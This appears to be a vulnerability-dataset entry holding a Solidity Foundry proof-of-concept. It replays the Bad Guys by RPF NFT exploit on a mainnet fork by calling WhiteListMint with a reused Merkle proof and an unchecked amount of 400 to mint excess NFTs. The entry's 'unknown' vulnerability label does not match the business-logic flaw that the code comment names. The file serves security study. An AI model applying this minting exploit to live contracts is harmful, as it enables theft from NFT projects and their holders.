HIGH severity: BadGuysbyRPF exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

/*
Bad Guys by RPF Business Logic Flaw Exploit PoC

The exploit was due to the missing check for "chosenAmount" in the WhiteListMint function which allowed the attacker to pass the number of NFTs he/she wanted to mint.

To understand more about NFT Merkle Proof - https://www.youtube.com/watch?v=67vkL8XkoJ0

Etherscan tx - https://etherscan.io/tx/0xb613c68b00c532fe9b28a50a91c021d61a98d907d0217ab9b44cd8d6ae441d9f

forge test --contracts ./src/test/BadGuysbyRPF_exp.sol -vv*/

contract BadGuysbyRPFExploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    address owner = 0x09eFF2449882F9e727A8e9498787f8ff81465Ade; //owner of Bad Guys by RPF
    address attacker = 0xBD8A137E79C90063cd5C0DB3Dbabd5CA2eC7e83e;

    IBadGuysRPFERC721 RPFContract = IBadGuysRPFERC721(0xB84CBAF116eb90fD445Dd5AeAdfab3e807D2CBaC);
    bytes32[] merkleTree;

    function setUp() public {
        cheats.createSelectFork("mainnet", 15_460_093); //fork mainnet at 15460093

        // There should be an easier way to do this
        // I tried passing it as whole array but did not work
        merkleTree.push(0xa3299324d1c59598e0dfa68de8d8c03d7492d88f6068cdd633a74eb9212e19e5);
        merkleTree.push(0x5dcd197f362a82daaf56545974db26aabfe335be4c7eef015d3d74ccea4bf511);
        merkleTree.push(0x18d716ad7f5113fe53b24a30288c6989dd04e6ad881be58b482d8d58f71c42da);
        merkleTree.push(0x97a98e092a76c15cef3709df2776cf974e2519231e79c9ad97c15a1835c5c4be);
        merkleTree.push(0x171696d6231b4a201927b35fe2dae4b91cefb62bef849a143560ebbb49cee5df);
        merkleTree.push(0xe89305151bbec931414ab9693bf886cf3b96dba00ca338b1c0aaae911b6dff35);
        merkleTree.push(0x69691b91227fa34a7a9a691d355fd6c466370928ddf3d50a347e894970f10079);
        merkleTree.push(0x78299a273b7d50bcb1d75df1694be463b9cc66c6520026b785615c4594dbb1ba);
        merkleTree.push(0xb297db4d926f0ebc26e098afcefa63d1d86d2e047ecbc36357192ef5240ea0ea);
        merkleTree.push(0xb875ced562ca82ce114152c899bbd085d230a17be452243fda43bf995774243e);
        merkleTree.push(0xd284a1831379548ff6bb0b5ad75ce8d0d1fea1cdc7b40b5f8d2e2307c9eda32c);
        merkleTree.push(0x7eff30a405cfce9989fe9d71e346d7b3616fa69b8251782898226268818f63fb);
        merkleTree.push(0x651ec4246f6e842692770a6ebd63396b4d62b52a3406522a02f182b8a16ba48c);
        merkleTree.push(0xee17656e8a839ac096dd5905744ada01278fc49b978260e9e3ddd92223cc18d7);
        merkleTree.push(0xce5c61c22a5d840c02b32aaebf73c9bc3c3d71c49f22b22c4f3cae4aa1fd557b);
    }

    function testExploit() public {
        //quick hack to enable Minting in Block#15460093
        //In actual hack the Mint was live in Block#15460094
        cheats.prank(owner);
        RPFContract.flipPauseMinting();

        console.log("[Before WhiteListMint] Attacker's Bad Guys by RPF NFT Balance: ", RPFContract.balanceOf(attacker));

        cheats.prank(attacker);
        RPFContract.WhiteListMint(merkleTree, 400); //mint 400 Bad Guys by RPF

        console.log("[After WhiteListMint]  Attacker's Bad Guys by RPF NFT Balance: ", RPFContract.balanceOf(attacker));
    }
}


Vulnerability type: unknown